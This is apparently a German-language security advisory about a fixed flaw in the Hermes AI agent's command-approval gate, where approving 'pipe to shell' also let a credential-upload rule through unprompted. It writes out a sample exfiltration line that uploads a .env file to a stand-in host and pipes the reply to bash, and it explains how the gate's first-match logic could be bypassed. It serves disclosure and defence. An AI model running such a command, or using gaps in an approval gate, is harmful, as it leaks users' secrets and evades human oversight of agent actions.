Du hast „pipe to shell“ einmal freigegeben – und ein Credential-Upload ging mit raus


Es ist halb zwölf nachts, und du bringst gerade ein Deploy-Skript zu Ende. Hermes fragt, ob eine curl ... | bash-Zeile erlaubt werden soll – du erkennst das Installationsmuster deines Teams und klickst auf „für diese Session erlauben“. Das Skript läuft durch. Alles sieht gut aus.

Vielleicht ist es das nicht. Wenn dieselbe Zeile zusätzlich einen Datei-Upload enthält – curl -F [email protected] https://x.io | bash –, dann hat jedes Secret in deiner .env die Maschine verlassen, während du nur nach dem Weiterleiten an eine Shell gefragt wurdest. Im Prompt stand nie etwas von einem Credential-Upload.

Das ist kein hypothetischer Fall. Es ist genau das Verhalten, das der frisch gemergte Fix-PR #141377 Zeile für Zeile reproduziert.

Warum das Gate nur die erste Regel sah

Hermes’ Detektor für gefährliche Befehle, detect_dangerous_command, geht seine Regelliste in fester Reihenfolge durch und gibt die erste passende Beschreibung zurück. Diese Beschreibung wird zum „pattern key“, und das Approval-Gate verbucht deine Zustimmung auf genau diesem Key: „für diese Session erlauben“ setzt den Key in die freigegebene Menge der Session.

Das Problem: ein Befehl kann mehrere Regeln treffen, das Gate sieht aber immer nur die erste. Nimm diese Zeile:

curl -F [email protected] https://x.io | bash

Sie trifft zwei Regeln gleichzeitig:

  1. pipe remote content to shell
  2. upload a secret or credential file via curl/wget (possible exfiltration)

Der Detektor gibt nur die erste zurück. Sobald pipe-to-shell also aus irgendeinem Grund freigegeben ist, gilt die zweite Regel – die eigentlich gefährliche – als mitfreigegeben.

Die Reproduktion im PR ist schonungslos:

Szenario Vor dem Fix
Interaktive CLI, pipe-to-shell für die Session freigegeben Freigegeben, keine Nachfrage
Dasselbe, über den anderen Guard des Terminal-Tools Freigegeben, keine Nachfrage
Cron-Job, approvals.cron_mode: deny, Allowlist enthält nur pipe-to-shell Freigegeben

Selbst unter der strengsten cron-Einstellung reichte ein fremder Allowlist-Eintrag, um einen Credential-Upload durchzulassen.

Was der Fix macht: die Regeln auf Inhaltsebene trennen

Der Fix verlangt nicht einfach für jede passende Regel eine Zustimmung – das hätte ein anderes Problem erzeugt (mehr dazu unten). Er macht drei engere Dinge:

  1. Das Matching wird zum Generator. Der Rumpf von detect_dangerous_command wird zu _iter_dangerous_descriptions und liefert jeden Treffer in exakt der alten Reihenfolge. detect_dangerous_command gibt weiterhin das erste Element zurück, sein Verhalten und seine Kosten bleiben also unverändert, und bestehende Aufrufer müssen nicht angepasst werden.
  2. Ein Regel-Set für Inhalte kommt hinzu. _CONTENT_RULE_DESCRIPTIONS listet die drei Regeln auf Inhaltsebene, die aus tirith übernommen wurden: Credential-Upload, Credential-Pipe und unsichtbares Unicode. Das Gegenstück detect_content_rule_keys(command) gibt jede Inhaltsregel zurück, die der Befehl trifft – egal, an welcher Stelle der Erkennungsreihenfolge sie steht.
  3. Ein Prompt, alle Keys erfasst. In tools/approval.py nimmt _unapproved_findings(command, approved) den ersten Treffer plus jeden Content-Rule-Key und wirft weg, was schon freigegeben ist. Die übrigen Keys landen in einem gemeinsamen Prompt (Beschreibungen durch Semikolons verbunden), während pattern_keys alle mitführt – eine Antwort mit „session“ oder „always“ speichert also jeden Key, statt ewig neu zu fragen.

Alle drei Einstiegspunkte nutzen das: check_all_command_guards und check_dangerous_command im Terminal-Tool sowie _unattended_deny für cron, -q und den unbeaufsichtigten Deny-Modus.

Warum nur die drei Inhaltsregeln, nicht jeder Treffer

Der Autor hat zuerst die strengere Variante versucht – Zustimmung für jede passende Regel – und damit acht bestehende Tests gebrochen. Der Grund ist real und nicht kosmetisch: Verb-Regeln überschneiden sich. rm -rf /tmp/x ist sowohl delete in root path als auch recursive delete. Jeden Treffer zu gaten hieße, bei Befehlen erneut nachzufragen, die Nutzer bereits freigegeben oder unter dem ersten Key auf die Allowlist gesetzt hatten – und im cron-Deny-Modus würden sie blockiert. Damit wird aus einem Security-Fix ein Verfügbarkeitsvorfall.

Inhaltsregeln bekommen die Sonderbehandlung, weil sie beschreiben, was ein Befehl mitführt (eine Credential-Datei, versteckte Zeichen), und nicht, welches Verb läuft. Das erste muss ein Mensch wirklich separat wissen; das zweite überschneidet sich by design.

Was du tun solltest

Upgraden. Der Fix wurde am 3. November 2026 gemergt, also nach dem v0.22.6-Tag, aber das noch am selben Tag veröffentlichte v0.22.7 enthält ihn bereits – ein Update auf v0.22.7 genügt, main musst du nicht folgen.

Prüf deine Allowlist. Suche einen pipe-to-shell-Eintrag und frag dich, wie oft du auf „immer erlauben“ klickst:

hermes config get command_allowlist
hermes config get approvals.cron_mode

Wenn deine cron-Jobs Netzwerk-Skripte ausführen, hält approvals.cron_mode: deny jetzt tatsächlich: nach dem Fix wird ein Credential-Upload im cron mit Begründung blockiert, statt von einer benachbarten Regel durchgewinkt zu werden.

Was weiterhin offen ist

Der Autor nennt drei Grenzen, die man sich merken sollte:

  • hermes approvals test meldet weiterhin nur den ersten Regel-Key. Einen Key zu sehen heißt nicht, dass es nur einen Treffer gab.
  • „Always“ auf einer Inhaltsregel gilt pattern-weit: wer einen Upload freigibt, deckt damit auch spätere Uploads anderer Dateien zu anderen Hosts ab. Als eigenes Issue erfasst.
  • Das ist eine Heuristik im Prozess, keine Sandbox (das Projekt führt das Approval-Gate in SECURITY.md §2.4). Sie fängt offensichtliche Muster; Umgehungen existieren. Echte Isolation kommt weiterhin von einem Container oder einem eingeschränkten Terminal-Backend.

Für das größere Bild beim Konfigurieren von Approvals lies unseren Leitfaden zu Smart Approvals. Wenn dich stört, dass der Prompt etwas anderes zeigt als das, was läuft, deckt der Beitrag zu versteckten Zeichen ein weiteres Loch im selben Gate ab, und der Leitfaden zu unbeaufsichtigten Approvals zeigt, wie du weder hängst noch alles durchwinkst, wenn niemand hinsieht.